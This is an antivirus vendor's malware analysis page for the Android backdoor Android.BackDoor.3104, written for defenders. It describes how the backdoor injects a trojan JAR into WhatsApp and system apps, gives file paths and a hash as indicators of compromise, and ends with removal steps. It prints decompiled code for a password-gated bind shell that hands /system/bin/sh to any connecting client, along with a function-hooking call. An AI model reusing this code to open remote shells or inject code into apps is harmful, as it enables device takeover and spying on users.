Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Android.BackDoor.3104

Added to the Dr.Web virus database: 2022-07-22

Virus description added:

  • SHA1: b4bf9edf011e35fd049c2862e898a492bc76dc7d (libmtd.so)

Description

Android.BackDoor.3104 is a backdoor that infects the system storage area of Android devices. It is a native Linux library that places another trojan—Android.Backdoor.854.origin—into the directories of target programs. This particular modification attacks the WhatsApp and WhatsApp Business messenger apps. In addition, Android.BackDoor.3104 starts a local server on the infected device, allowing a remote or local client to connect and work with the mysh console program specified by the attackers.

Operating routine

The backdoor is located in /system/lib/libmtd.so. It launches whenever any app accesses the /system/lib/libcutils.so system library, which has been modified in a specific way. So, when any program uses it, a trojan library will be initialized. Dr.Web detects this modified library as Android.BackDoor.3105.

Upon initialization, Android.BackDoor.3104 reads data from /proc/self/cmdline. Based on this data and depending on which program was used to cause it to start, the backdoor performs different actions.

If the data from /proc/self/cmdline contains a wpa_supplicant line corresponding to the eponymous system app, the trojan launches a local server at 0[.]0.0.0:937. That server then awaits an incoming connection. It requires a password for successful authorization. Once a connection has been established, a local or remote client can connect and work with the mysh console app, which must first be installed on the device or initially present in its firmware.

Below is the backdoor’s code fragment that is responsible for the local server implementation. This server is used to connect to the specified console app:


socket_ = socket(AF_INET, SOCK_STREAM, 0);
if ( socket_ != -1 )
{
  *(_DWORD *)&addr.sa_family = 0xA9030002;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_DWORD *)&addr.sa_data[6] = 0;
  *(_DWORD *)&addr.sa_data[10] = 0;
  if ( bind(socket_, &addr, 16) != -1 && listen(socket_, 20) != -1 )
  {
    addr_len = 16;
    while ( 1 )
    {
      connection_fd = accept(socket_, &sockaddr_, &addr_len);
      pid = fork();
      if ( !pid )
      {
        pid2 = fork();
        if ( pid2 >= 1 )
          goto LABEL_17;
        pid = pid2;
        if ( !pid2 )
        {
          close(socket_);
          v10 = strlen(ENTERPASS);
          write(connection_fd, ENTERPASS, v10);
          memset_0((int)ch_arr, 0x1000u);
          read(connection_fd, ch_arr, 0x1000u);
          if ( strncmp(ch_arr, PASSWORD, 5u) )
          {
            close(connection_fd);
            exit(0);
          }
          v11 = strlen(WELCOME);
          write(connection_fd, WELCOME, v11);
          pid = 0;
          dup2(connection_fd, 0);           // stdin
          dup2(connection_fd, 1);           // stdout
          dup2(connection_fd, 2);           // stderr
          execl("/system/bin/sh", "mysh", 0);
        }
      }
      close(connection_fd);
      waitpid(pid, 0, 0);
    }
  }
}

If data from /proc/self/cmdline contains a /system/bin/app_process string, Android.BackDoor.3104 reads the string from /system/etc/media_resource.conf. The latter is used later when the method is called from the .JAR file of Android.Backdoor.854.origin. This .JAR file is installed at the second stage of device infection.

Next, Android.BackDoor.3104 hooks an open function call in the libdvm library:


j_bytehook_init(0, 0);
return j_bytehook_hook_single("libdvm.so", 0, "open", sub_1D728, 0, 0);

Upon hooking it, the trojan verifies whether the file /proc/self/cmdline contains the name of the target app.

The trojan targets the following programs:

  • com.android.settings—the “Settings” system app;
  • com.android.phone—the “Phone” system app;
  • com.whatsapp.w4b—the WhatsApp Business messenger;
  • com.whatsapp—the WhatsApp messenger.

If it detects them, Android.BackDoor.3104 places the .JAR file PrivteProvide.jar of Android.Backdoor.854.origin into the directories of the corresponding programs:

  • /data/data/com.android.phone/files/.art/PrivteProvide.jar
  • /data/data/com.android.settings/files/.art/PrivteProvide.jar
  • /data/data/com.whatsapp.w4b/files/.art/PrivteProvide.jar
  • /data/data/com.whatsapp/files/.art/PrivteProvide.jar

After that, it calls the getInstance(String) method of the com.androidx.v13.PrivteProvide class.

When launched, the copied module operates in the context of the target apps and is capable of performing different malicious actions.

Android.BackDoor.3104 also has the following functions:

  • rtool_execStart(char *a1)—using it, the trojan connects to the 0[.]0.0.0:937 local server, enters the password and executes a given command;
  • rtool_changeElf(char *a1, char *a2, char *s)—using it, the trojan makes changes to a specified file.

Indicators of compromise

More details on Android.BackDoor.3105

More details on Android.Backdoor.854.origin

More details on Android.FakeUpdates.1.origin

News about the trojan

Recommandations pour le traitement


Android

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile le produit antivirus gratuit Dr.Web для Android Light. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur une violation grave de la loi ou une demande de rançon s’affichent sur l'écran de l'appareil mobile), procédez comme suit :
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil contaminé le produit antivirus gratuit Dr.Web для Android Light et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android